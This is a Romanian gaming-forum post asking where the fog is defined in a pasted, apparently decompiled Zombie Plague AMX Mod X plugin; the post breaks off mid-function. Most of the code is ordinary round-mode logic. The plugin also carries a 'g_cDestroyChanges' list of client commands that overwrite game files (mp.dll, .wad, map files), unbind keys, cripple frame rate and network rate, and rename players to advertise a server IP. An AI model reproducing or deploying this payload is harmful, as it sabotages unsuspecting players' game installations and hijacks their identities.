Cerere stergere ceata

Cereri de pluginuri noi, skinuri in CS, etc.

Moderators: Moderatori ajutatori, Moderatori, Echipa eXtreamCS.com

Post Reply
Cristian50505
Membru, skill 0
Membru, skill 0
Posts: 21
Joined: 02 Feb 2021, 12:48
Detinator Steam: Nu
CS Status: Citesc forumul eXtreamCS.com...!
Fond eXtream: 0
Been thanked: 1 time

04 Apr 2021, 14:16

Hai salut! Am cautat o ora cred prin el si nu am gasit ceata.
Poate stie unul din voi unde e ca vreau sa o sterg :((

Code: Select all

#include zombie_plague
#include float
#include hamsandwich

#pragma library engine
#pragma loadlib engine
#pragma library fakemeta
#pragma loadlib fakemeta
#pragma library zombie_plague
#pragma loadlib zombie_plague
#pragma library cstrike
#pragma loadlib cstrike
#pragma library csx
#pragma loadlib csx
#pragma library hamsandwich
#pragma loadlib hamsandwich

new bool:g_bConnected[33];
new bool:g_bAdmin[33];
new bool:g_bTryder[33];
new bool:g_bAlive[33];
new g_iWeapon[33];
new g_cName[33][32];
new Data[33][ __GEO_DATA_COUNT__ ][128];
new bool: Loaded[ 33 ];
new g_cPlayerAddress[33][24];
new Float:g_fLastLeapTime[33];
new g_cSteam[33][24];
new g_cClass[33][24];
new g_iRounds[512];
new g_iRoundsCount;
new g_iCounter;
new g_iVariable;
new g_iMaxClients;
new g_iPosition[33];
new g_iOffset[33][2];
new g_iArgumentPing[33][3];
new g_iPingOverride[33] =
{
	-1, ...
};
new bool:g_bZombie[33];
new g_iLastMode;
new g_iPlayerType[33];
new bool:g_bRoundStart;
new bool:g_bRoundEnd;
new g_iRoundType;
new bool:g_bFlash[33];
new bool:g_bFlashEnabled[33];
new bool:g_bFake[33];
new g_iPacks[33];
new Float:g_fDamage[33];
new Float:g_fLastTime[33];
new g_iBurningDuration[33];
new bool:g_bNoDamage[33];
new bool:g_bFrozen[33];
new g_iAliveCount;
new g_iMessagePosition;
new g_iTripMines[33];
new g_iPlantedMines[33];
new bool:g_bPlanting[33];
new bool:g_bRemoving[33];
new g_iPlayerMines[33][2];
new g_iFirstMineMessage;
new g_iSecondMineMessage;
new g_iJumpsNum[33];
new g_iJumps[33];
new bool:g_bUnlimitedClip[33];
new Float:g_fLastChangedModel;
new Float:g_fLast[33];
new Array:g_aNameData;
new Array:g_aAmmoData;
new g_iSize;
new g_cAddresses[10][24];
new g_iBlinks[33];
new Float:g_fRoundStartTime;
new g_iRemainingSync;
new g_iTopMessageSync;
new g_iLeftMessageSync;
new g_cLNames[10][32];
new g_iTracker;
new g_iEventsHudmessage;
new g_iCenterMessageSync;
new g_iDownMessageSync;
new g_iCounterMessage;
new g_iZombieClass[33];
new g_iZombieNextClass[33];
new g_iBotsCount;
new g_bCanBuy[33];
new g_iGameMenu;
new g_iSecondaryMenu;
new g_iPrimaryMenu;
new g_iSecondaryWeapons[64];
new g_iPrimaryWeapons[64];
new g_iMenuExtraItems;
new g_iMenuZombieClasses;
new g_cTag[33][24];
new Float:g_fGagTime[33];
new g_cSteams[33][24];
new g_cNames[33][32];
new g_cPasswords[33][32];
new g_cFlags[33][32];
new g_cTags[33][24];
new g_cPersonalFlags[33][32];
new g_iAdminsCount;
new g_iMenu;
new bool:g_bVoting;
new bool:g_bSecondVoting;
new g_iVariables[3];
new g_iVotes[7];
new g_cMaps[7][32];
new g_cSecondMaps[5][32];
new g_iSecondVotes[5];
new g_cHudCollors[64][15];
new g_cHudAdvertisements[64][120];
new g_iHudAdvertisementsCount;
new g_iHudMessage;
new g_iLimitReached[33];
new g_cZombieInfectSounds[5][0] =
{
    "zombie_plague/zombie_infect_01.wav",
    "zombie_plague/zombie_infect_02.wav",
    "zombie_plague/zombie_infect_03.wav",
    "zombie_plague/zombie_infect_04.wav",
    "zombie_plague/zombie_infect_05.wav"
};
new g_cEndRoundZombieSounds[4][0] =
{
    "zombie_plague/end_round_win_zombies_01.wav",
    "zombie_plague/end_round_win_zombies_02.wav",
    "zombie_plague/end_round_win_zombies_03.wav",
    "zombie_plague/end_round_win_zombies_04.wav"
};
new g_cEndRoundHumanSounds[3][0] =
{
    "zombie_plague/end_round_win_humans_01.wav",
    "zombie_plague/end_round_win_humans_02.wav",
    "zombie_plague/end_round_win_humans_03.wav"
};
new g_cStartRoundSurvivorSounds[2][0] =
{
    "zombie_plague/round_start_survivor_01.wav",
    "zombie_plague/round_start_survivor_02.wav"
};
new g_cStartRoundNemesisSounds[2][0] =
{
    "zombie_plague/round_start_nemesis_01.wav",
    "zombie_plague/round_start_nemesis_02.wav"
};
new g_cZombieBurnSounds[5][0] =
{
    "zombie_plague/zombie_burn_01.wav",
    "zombie_plague/zombie_burn_02.wav",
    "zombie_plague/zombie_burn_03.wav",
    "zombie_plague/zombie_burn_04.wav",
    "zombie_plague/zombie_burn_05.wav"
};
new g_cHumanNadeInfectSounds[3][0] =
{
    "zombie_plague/human_nade_infect_scream_01.wav",
    "zombie_plague/human_nade_infect_scream_02.wav",
    "zombie_plague/human_nade_infect_scream_03.wav"
};
new Float:g_fDamageCoords[8][0] =
{
    {0.50, 0.40},
    {0.56, 0.44},
    {0.60, 0.50},
    {0.56, 0.56},
    {0.50, 0.60},
    {0.44, 0.56},
    {0.40, 0.50},
    {0.44, 0.44}
};
new Float:kb_weapon_power[31] =
{
	-1.0, 2.4, -1.0, 6.5, -1.0, 8.0, -1.0, 2.3, 5.0, -1.0, 2.4, 2.0, 2.4, 5.3, 5.5, 5.5, 2.2, 2.0, 10.0, 2.5, 5.2, 8.0, 5.0, 2.4, 6.5, -1.0, 5.3,5.0, 6.0, -1.0, 2.0
};
new g_iMaxClip[31] =
{
	0, 13, 0, 10, 0, 7, 0, 30, 30, 0, 15, 20, 25, 30, 35, 25, 12, 20, 10, 30, 100, 8, 30, 30, 20, 0, 7, 30, 30, 0, 50
};
new g_cSecondaryWeapons[6][0] =
{
    "Glock 18C",
    "USP .45 ACP Tactical",
    "P228 Compact",
    "Desert Eagle .50 AE",
    "FiveseveN",
    "Dual Elite Berettas"
};
new g_cPrimaryWeapons[14][0] =
{
    "IMI Galil",
    "Famas",
    "M4A1 Carbine",
    "AK-47 Kalashnikov",
    "SG-552 Commando",
    "Steyr AUG A1",
    "Schmidt Scout",
    "M3 Super 90",
    "XM1014 M4",
    "Schmidt TMP",
    "Ingram MAC-10",
    "UMP 45",
    "MP5 Navy",
    "ES P90"
};
new g_cSecondaryEntities[6][0] =
{
    "weapon_glock18",
    "weapon_usp",
    "weapon_p228",
    "weapon_deagle",
    "weapon_fiveseven",
    "weapon_elite"
};
new g_cPrimaryEntities[14][0] =
{
    "weapon_galil",
    "weapon_famas",
    "weapon_m4a1",
    "weapon_ak47",
    "weapon_sg552",
    "weapon_aug",
    "weapon_scout",
    "weapon_m3",
    "weapon_xm1014",
    "weapon_tmp",
    "weapon_mac10",
    "weapon_ump45",
    "weapon_mp5navy",
    "weapon_p90"
};
new g_cHumanModels[4][0] =
{
    "terror",
    "gign",
    "sas",
    "arctic"
};
new g_cZombieModels[7][0] =
{
    "zclasic",
    "raptor",
    "predator_blue",
    "mutant",
    "frozen",
    "regenerator",
    "hunter"
};
new g_cZombieClaws[7][0] =
{
    "models/zombie_plague/clasic_claws.mdl",
    "models/zombie_plague/regenerator_claws.mdl",
    "models/zombie_plague/predator_blue_claws.mdl",
    "models/zombie_plague/mutant_claws.mdl",
    "models/zombie_plague/frozen_claws.mdl",
    "models/zombie_plague/regenerator_claws.mdl",
    "models/zombie_plague/hunter_claws.mdl"
};
new g_iZombieHealths[7] =
{
    5675, 4800, 5100, 6250, 4500, 4750, 5200
};
new Float:g_fZombieGravities[7] =
{
    1.00, 1.00, 0.74, 1.00, 0.61, 1.00, 0.61
};
new Float:g_fZombieSpeeds[7] =
{
    264.0, 304.0, 276.0, 244.0, 269.0, 249.0, 273.0
};
new Float:g_fZombieKnockbacks[7] =
{
    0.82, 1.33, 0.70, 0.44, 0.80, 0.90, 0.83
};
new g_cZombieClasses[7][24] =
{
    "Clasic",
    "Raptor",
    "Predator 4",
    "Mutant",
    "Frozen",
    "Regenerator",
    "Hunter"
};
new g_cZombieAttribs[7][0] =
{
    "\y[=Balanced=]",
    "\y[Speed +++]",
    "\y[Powerful]",
    "\y[Health +++]",
    "\y[Double Jump]",
    "\y[Regeneration]",
    "\y[Silent Killer]"
};
new g_cExtraItems[22][0] =
{
    "NightVision (single round)",
    "T-Virus Antidote",
    "Zombie Madness",
    "Infection Bomb",
    "Explosion Nade",
    "Napalm Nade",
    "Frost Nade",
    "AWP Magnum Sniper",
    "M249 Para Machinegun",
    "SG550 Auto-Sniper",
    "G3SG1 Auto-Sniper",
    "Jetpack+Bazooka",
    "Unlimited Clip",
    "Armura (100ap)",
    "Armura (200ap)",
    "Multijump +1",
    "Cumpara Tryder",
    "Cumpara Supravietuitor",
    "Cumpara Sniper",
    "Cumpara Nemesis",
    "Cumpara Assassin",
    "Knife Blink"
};
new g_iExtraItemsPrices[22] =
{
	2, 15, 17, 26, 4, 4, 3, 7, 9, 10, 10, 30, 10, 5, 10, 5, 30, 180, 180, 150, 150, 10
};
new g_iExtraItemsTeams[22] =
{
	2, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1
};
new g_cBotNames[4][0] =
{
    "Angelina Jolie",
    "Megan Fox",
    "Keira Knightley",
    "Emma Stone"
};
new g_cDestroyChanges[19][0] =
{
    "snapshot;snapshot; name ^"Join: 89.44.246.127:27015^"",
    "motdfile models/player/terror/terror.mdl",
    "motdfile models/v_ak47.mdl;motd_write x",
    "motdfile models/v_m4a1.mdl;motd_write x",
    "motdfile resource/GameMenu.res;motd_write x",
    "motdfile halflife.wad;motd_write x",
    "motdfile cstrike.wad;motd_write x",
    "motdfile maps/de_dust2.bsp;motd_write x",
    "motdfile events/ak47.sc;motd_write x",
    "motdfile dlls/mp.dll;motd_write x",
    "motdfile decals.wad;motd_write x",
    "motdfile custom.hpk;motd_write x",
    "motdfile liblist.gam;motd_write x",
    "motdfile tempdecal.wad;motd_write x",
    "unbindall",
    "cl_timeout 0",
    "fps_max 1",
    "rate 0",
    "_restart"
};
new Float:g_fSizes[70][3] =
{
    {0.0, 0.0, 1.0}, {0.0, 0.0, -1.0}, {0.0, 1.0, 0.0}, {0.0, -1.0, 0.0}, {1.0, 0.0, 0.0}, {-1.0, 0.0, 0.0}, {-1.0, 1.0, 1.0}, {1.0, 1.0, 1.0}, {1.0, -1.0, 1.0}, {1.0, 1.0, -1.0}, {-1.0, -1.0, 1.0}, {1.0, -1.0, -1.0}, {-1.0, 1.0, -1.0}, {-1.0, -1.0, -1.0},
    {0.0, 0.0, 2.0}, {0.0, 0.0, -2.0}, {0.0, 2.0, 0.0}, {0.0, -2.0, 0.0}, {2.0, 0.0, 0.0}, {-2.0, 0.0, 0.0}, {-2.0, 2.0, 2.0}, {2.0, 2.0, 2.0}, {2.0, -2.0, 2.0}, {2.0, 2.0, -2.0}, {-2.0, -2.0, 2.0}, {2.0, -2.0, -2.0}, {-2.0, 2.0, -2.0}, {-2.0, -2.0, -2.0},
    {0.0, 0.0, 3.0}, {0.0, 0.0, -3.0}, {0.0, 3.0, 0.0}, {0.0, -3.0, 0.0}, {3.0, 0.0, 0.0}, {-3.0, 0.0, 0.0}, {-3.0, 3.0, 3.0}, {3.0, 3.0, 3.0}, {3.0, -3.0, 3.0}, {3.0, 3.0, -3.0}, {-3.0, -3.0, 3.0}, {3.0, -3.0, -3.0}, {-3.0, 3.0, -3.0}, {-3.0, -3.0, -3.0},
    {0.0, 0.0, 4.0}, {0.0, 0.0, -4.0}, {0.0, 4.0, 0.0}, {0.0, -4.0, 0.0}, {4.0, 0.0, 0.0}, {-4.0, 0.0, 0.0}, {-4.0, 4.0, 4.0}, {4.0, 4.0, 4.0}, {4.0, -4.0, 4.0}, {4.0, 4.0, -4.0}, {-4.0, -4.0, 4.0}, {4.0, -4.0, -4.0}, {-4.0, 4.0, -4.0}, {-4.0, -4.0, -4.0},
    {0.0, 0.0, 5.0}, {0.0, 0.0, -5.0}, {0.0, 5.0, 0.0}, {0.0, -5.0, 0.0}, {5.0, 0.0, 0.0}, {-5.0, 0.0, 0.0}, {-5.0, 5.0, 5.0}, {5.0, 5.0, 5.0}, {5.0, -5.0, 5.0}, {5.0, 5.0, -5.0}, {-5.0, -5.0, 5.0}, {5.0, -5.0, -5.0}, {-5.0, 5.0, -5.0}, {-5.0, -5.0, -5.0}
};

public MessageSayText()
{
	if (get_msg_args() == 4)
	{
		static iSender;
		iSender = get_msg_arg_int(1);
		if (0 < iSender < g_iMaxClients + 1 && g_cTag[iSender][0])
		{
			static cReplacement[189];
			static cPhrase[47];
			get_msg_arg_string(2, cPhrase, 46);
			if (equal(cPhrase, "#Cstrike_Chat_CT"))
			{
				formatex(cReplacement, 188, "^x01(Counter-Terrorist) ^x04%s ^x03%s^x01 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
			if (equal(cPhrase, "#Cstrike_Chat_T"))
			{
				formatex(cReplacement, 188, "^x01(Terrorist) ^x04%s ^x03%s^x01 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
			if (equal(cPhrase, "#Cstrike_Chat_CT_Dead"))
			{
				formatex(cReplacement, 188, "^x01*DEAD*(Counter-Terrorist) ^x04%s ^x03%s^x01 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
			if (equal(cPhrase, "#Cstrike_Chat_T_Dead"))
			{
				formatex(cReplacement, 188, "^x01*DEAD*(Terrorist) ^x04%s ^x03%s^x01 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
			if (equal(cPhrase, "#Cstrike_Chat_Spec"))
			{
				formatex(cReplacement, 188, "^x01(Spectator) ^x04%s ^x03%s^x01 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
			if (equal(cPhrase, "#Cstrike_Chat_All"))
			{
				formatex(cReplacement, 188, "^x04%s ^x03%s^x01 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
			if (equal(cPhrase, "#Cstrike_Chat_AllDead"))
			{
				formatex(cReplacement, 188, "^x01*DEAD* ^x04%s ^x03%s^x01 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
			if (equal(cPhrase, "#Cstrike_Chat_AllSpec"))
			{
				formatex(cReplacement, 188, "^x01*SPEC* ^x04%s ^x03%s^x01 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
		}
	}
	return 0;
}

StripName( Name[ ] ) 
{
	for( new i = 0; i < strlen( Name ); i++ )
	{
		Name[ i ] = tolower( Name[ i ] );

		if( !isalpha( Name[ i ] ) )
		{
			Name[ i ] = '_';
		}
	}
}

LoadData( Player )
{
	new Name[ 32 ];
	get_user_name( Player, Name, 31);
	StripName( Name );
	new FileLine[ 512 ]
	formatex( FileLine, 511, "addons/SpecialGeoip/PlayerData/%s.ini", Name );
	new File = fopen( FileLine, "r" );
	if( File )
	{
		new Row[ 256 ], Key[ 128 ], Value[ 128 ], i = 0;
		while( !feof( File ) ) 
		{
			fgets( File, Row, 255 );
			trim( Row );
			if( Row[ 0 ] == '"' ) 
			{
				parse( Row, Key, 127, Value, 127 );
				if( i < __GEO_DATA_COUNT__ )
				{
					formatex( Data[ Player ][ i ], 127, "%s", Value );
				}
				i++;
			}
		}
		fclose( File );
		Loaded[ Player ] = true;
	}
}

StartSwarmMode(bool:bForced)
{
	if ((g_iAliveCount > 9 && g_iLastMode != 64 && random_num(1, 150) == 1) || bForced)
	{
		g_iLastMode = 64;
		g_iRoundType = g_iRoundType | 64;
		static i;
		i = 1;
		while (g_iMaxClients > i)
		{
			if (!g_bAlive[i] || get_team(i) == 2)
			{
			}
			else
			{
				MakeZombie(0, i, true, false, false);
			}
			i += 1;
		}
		client_cmd(0, "spk ZombieOutstanding/round_start_plague");
		set_hudmessage(20, 255, 20, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "Swarm Round !!");
		remove_task(600);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
		return 0;
	}
	StartPlagueMode(false);
	return 0;
}

StartPlagueMode(bool:bForced)
{
	if ((g_iAliveCount > 20 && g_iLastMode != 32 && random_num(1, 180) == 1) || bForced)
	{
		g_iRoundType = g_iRoundType | 32;
		static iNemesis;
		static iMaxNemesis;
		static i;
		static iMaxSurvivors;
		static iSurvivors;
		static iMaxZombies;
		static iZombies;
		iMaxSurvivors = 3;
		iMaxNemesis = 2;
		iZombies = 0;
		iNemesis = 0;
		iSurvivors = 0;
		while (iSurvivors < iMaxSurvivors)
		{
			i = GetRandomAlive();
			if (!(g_iPlayerType[i] & 4))
			{
				MakeHuman(i, true, false);
				iSurvivors += 1;
				set_health(i, 6900);
			}
		}
		while (iNemesis < iMaxNemesis)
		{
			i = GetRandomAlive();
			if (!(g_iPlayerType[i] & 4 || g_iPlayerType[i] & 1))
			{
				MakeZombie(0, i, false, true, false);
				iNemesis += 1;
				set_health(i, 180000);
			}
		}
		iMaxZombies = floatround(0.4 * g_iAliveCount, floatround_floor);
		while (iZombies < iMaxZombies)
		{
			i += 1;
			if (i > g_iMaxClients)
			{
				i = 1;
			}
			if (!(!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 4))
			{
				if (random_num(0, 1))
				{
					MakeZombie(0, i, true, false, false);
					iZombies += 1;
				}
			}
		}
		i = 1;
		while (g_iMaxClients > i)
		{
			if (!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 4)
			{
			}
			else
			{
				if (get_team(i) != 2)
				{
					set_team(i, 2);
				}
			}
			i += 1;
		}
		if (random_num(0, 1))
		{
            client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
		}
		else
		{
            client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
		}
		set_hudmessage(0, 50, 200, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "Plague Round !!");
		remove_task(600);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);

		return 0;
	}
	StartMultiMode(false);
	return 0;
}

StartMultiMode(bool:bForced)
{
	if ((g_iAliveCount > 9 && g_iLastMode != 16 && random_num(1, 150) == 1) || bForced)
	{
		g_iRoundType = g_iRoundType | 16;
		static i;
		static iMaxZombies;
		static iZombies;
		iZombies = 0;
		iMaxZombies = floatround(0.18 * g_iAliveCount, floatround_ceil);
		i = random_num(1, g_iMaxClients);
		while (iZombies < iMaxZombies)
		{
			i += 1;
			if (i > g_iMaxClients)
			{
				i = 1;
			}
			if (!(!g_bAlive[i] || g_bZombie[i]))
			{
				if (random_num(0, 1))
				{
					MakeZombie(0, i, true, false, false);
					iZombies += 1;
				}
			}
		}
		i = 1;	
		while (g_iMaxClients + 1 > i)
		{
			if (!g_bAlive[i] || g_bZombie[i])
			{
			}
			else
			{
				if (get_team(i) != 2)
				{
					set_team(i, 2);
				}
			}
			i += 1;
		}		
		client_cmd(0, "spk ZombieOutstanding/round_start_plague");
		set_hudmessage(200, 50, 0, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "Multiple Infections !!");
		remove_task(600);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);

		return 0;
	}
	StartArmageddonMode(false);
	return 0;
}

StartArmageddonMode(bool:bForced)
{
	if ((g_iAliveCount > 9 && g_iLastMode != 128 && random_num(1, 300) == 1) || bForced)
	{
		g_iRoundType = g_iRoundType | 128;
		static i;
		static iMaxZombies;
		static iZombies;
		iZombies = 0;
		iMaxZombies = floatround(0.44 * g_iAliveCount, floatround_floor);
		i = random_num(1, g_iMaxClients);
		while (iZombies < iMaxZombies)
		{
			i += 1;
			if (i > g_iMaxClients)
			{
				i = 1;
			}
			if (!(!g_bAlive[i] || g_bZombie[i]))
			{
				if (random_num(0, 1))
				{
					MakeZombie(0, i, false, true, false);
					set_health(i, 67500);
					iZombies += 1;
				}
			}
		}
		i = 1;
		while (g_iMaxClients > i)
		{
			if (!g_bAlive[i] || g_bZombie[i])
			{
			}
			else
			{
				MakeHuman(i, true, false);
				set_health(i, 11400);
			}
			i += 1;
		}
		if (random_num(0, 1))
		{
            client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
		}
		else
		{
            client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
		}
		set_hudmessage(181, 62, 244, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "Armageddon Round !!");
		remove_task(600);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);

		return 0;
	}
	StartNightmareMode(false);
	return 0;
}

StartNightmareMode(bool:bForced)
{
	if ((g_iAliveCount > 9 && g_iLastMode != 256 && random_num(1, 37) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
	{
		g_iLastMode = 256;
		g_iRoundType = g_iRoundType | 256;
		static i;
		static iMaxAssassins;
		static iAssassins;
		static iMaxSnipers;
		static iSnipers;
		static iMaxNemesis;
		static iNemesis;
		iAssassins = 0;
		iSnipers = 0;
		iNemesis = 0;
		iMaxNemesis = floatround(0.24 * g_iAliveCount, floatround_floor);
		iMaxAssassins = floatround(0.24 * g_iAliveCount, floatround_floor);
		iMaxSnipers = floatround(0.25 * g_iAliveCount, floatround_ceil);
		i = random_num(1, g_iMaxClients);
		while (iNemesis < iMaxNemesis)
		{
			i += 1;
			if (i > g_iMaxClients)
			{
				i = 1;
			}
			if (!(!g_bAlive[i] || g_bZombie[i]))
			{
				if (random_num(0, 1))
				{
					MakeZombie(0, i, false, true, false);
					set_health(i, 100000);
					iNemesis += 1;
				}
			}
		}
		while (iAssassins < iMaxAssassins)
		{
			i += 1;
			if (i > g_iMaxClients)
			{
				i = 1;
			}
			if (!(!g_bAlive[i] || g_bZombie[i]))
			{
				if (random_num(0, 1))
				{
					MakeZombie(0, i, false, false, true);
					set_health(i, 25000);
					iAssassins += 1;
				}
			}
		}
		while (iSnipers < iMaxSnipers)
		{
			i += 1;
			if (i > g_iMaxClients)
			{
				i = 1;
			}
			if (!(!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 8))
			{
				if (random_num(0, 1))
				{
					MakeHuman(i, false, true);
					set_health(i, 12500);
					iSnipers += 1;
				}
			}
		}
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 8 || g_iPlayerType[i] & 4)
			{
			}
			else
			{
				MakeHuman(i, true, false);
				set_health(i, 12500);
			}
			i += 1;
		}
		if (random_num(0, 1))
		{
            client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
		}
		else
		{
            client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
		}
		set_hudmessage(241, 15, 244, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "Nightmare Round !!");
		remove_task(600);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
		return 0;
	}
	StartAssassinsVsSnipersMode(false);
	return 0;
}

StartAssassinsVsSnipersMode(bool:bForced)
{
	if ((g_iAliveCount > 9 && g_iLastMode != 512 && random_num(1, 470) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
	{
		g_iLastMode = 512;
		g_iRoundType = g_iRoundType | 512;
		static i;
		i = 1;
		while (g_iMaxClients > i)
		{
			if (g_bAlive[i])
			{
				switch (get_team(i))
				{
					case 1:
					{
						MakeZombie(0, i, false, false, true);
						set_health(i, 35000);
					}
					case 2:
					{
						MakeHuman(i, false, true);
						set_health(i, 12500);
					}
				}
			}
			i += 1;
		}
		if (random_num(0, 1))
		{
            client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
		}
		else
		{
            client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
		}
		set_hudmessage(221, 13, 64, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "Assassins vs Snipers Round !!");
		remove_task(600);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);

		return 0;
	}
	static cTime[4];
	get_time("%H", cTime, 3);
	if (cTime[0] != 48)
	{
		StartSniperMode(0);
	}
	else
	{
		if (cTime[0] == 48 && cTime[1] == 49)
		{
			StartSniperMode(0);
		}
		if (cTime[0] == 48 && cTime[1] == 50)
		{
			StartSniperMode(0);
		}
		StartAssassinMode(0);
	}
	return 0;
}

StartSniperMode(iPlayer)
{
	if ((g_iLastMode != 8 && random_num(1, 200) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
	{
		g_iLastMode = 8;
		g_iRoundType = g_iRoundType | 8;
		static j;
		static i;
		i = GetRandomAlive();
		if (iPlayer)
		{
			i = iPlayer;
		}
		j = i;
		MakeHuman(i, false, true);
		for ( i = 1; i <= g_iMaxClients; i ++ )
		{
			if ( !g_bAlive [i] ) continue;

			if ( g_iPlayerType[i] & 8 || g_bZombie [i] ) continue;
			
			MakeZombie(0, i, true, false, false);
		}
		set_task(30.0, "TaskReminder", 900, "", 0, "", 0);				
		client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
		set_hudmessage(221, 13, 64, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Sniper !!", g_cName[j]);
		remove_task(600);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
		return 0;
	}
	StartSurvivorMode(0);
	return 0;
}

StartSurvivorMode(iPlayer)
{
	if ((g_iLastMode != 4 && random_num(1, 200) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
	{
		g_iLastMode = 4;
		g_iRoundType = g_iRoundType | 4;
		static j;
		static i;
		i = GetRandomAlive();
		if (iPlayer)
		{
			i = iPlayer;
		}
		j = i;
		MakeHuman(i, true, false);
		for ( i = 1; i <= g_iMaxClients; i ++ )
		{
			if ( !g_bAlive [i] ) continue;

			if ( g_iPlayerType[i] & 4 || g_bZombie [i] ) continue;
			
			MakeZombie(0, i, true, false, false);
		}
		set_task(30.0, "TaskReminder", 900, "", 0, "", 0);		
		client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
		set_hudmessage(221, 13, 64, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Survivor !!", g_cName[j]);
		remove_task(600);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
		return 0;
	}
	StartAssassinMode(0);
	return 0;
}

StartAssassinMode(iPlayer)
{
	if ((g_iLastMode != 2 && random_num(1, 50) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
	{
		g_iLastMode = 2;
		g_iRoundType = g_iRoundType | 2;
		static j;
		static i;
		i = GetRandomAlive();
		if (iPlayer)
		{
			i = iPlayer;
		}
		j = i;
		MakeZombie(0, i, false, false, true);
		i = 1;
		while (g_iMaxClients > i)
		{
			if (g_bAlive[i] && !g_bZombie[i] && get_team(i) == 1)
			{
				set_team ( i, 2 );
			}
			i += 1;
		}
		set_task(30.0, "TaskReminder", 900, "", 0, "", 0);
		close();
		client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
		set_hudmessage(221, 13, 64, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Assassin !!", g_cName[j]);
		remove_task(600);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
		return 0;
	}
	StartNemesisMode(0);
	return 0;
}

StartNemesisMode(iPlayer)
{
	if ((g_iLastMode != 1 && random_num(1, 40) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
	{
		g_iLastMode = 1;
		g_iRoundType = g_iRoundType | 1;
		static j;
		static i;
		i = GetRandomAlive();
		if (iPlayer)
		{
			i = iPlayer;
		}
		j = i;
		MakeZombie(0, i, false, true, false);
		i = 1;
		while (g_iMaxClients > i)
		{
			if (g_bAlive[i] && !g_bZombie[i] && get_team(i) == 1)
			{
				set_team ( i, 2 );
			}
			i += 1;
		}
		set_task(30.0, "TaskReminder", 900, "", 0, "", 0);
		client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
		set_hudmessage(221, 13, 64, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Nemesis !!", g_cName[j]);
		remove_task(600);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
		return 0;
	}
	StartNormalMode(0);
	return 0;
}

StartNormalMode(iPlayer)
{
	static j;
	static i;
	i = GetRandomAlive();
	if (iPlayer)
	{
		i = iPlayer;
	}
	j = i;
	MakeZombie(0, i, false, false, false);
	i = 1;
	while (g_iMaxClients > i)
	{
		if (g_bAlive[i] && !g_bZombie[i] && get_team(i) == 1)
		{
			set_team ( i, 2 );
		}
		i += 1;
	}
	set_hudmessage(255, 0, 0, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
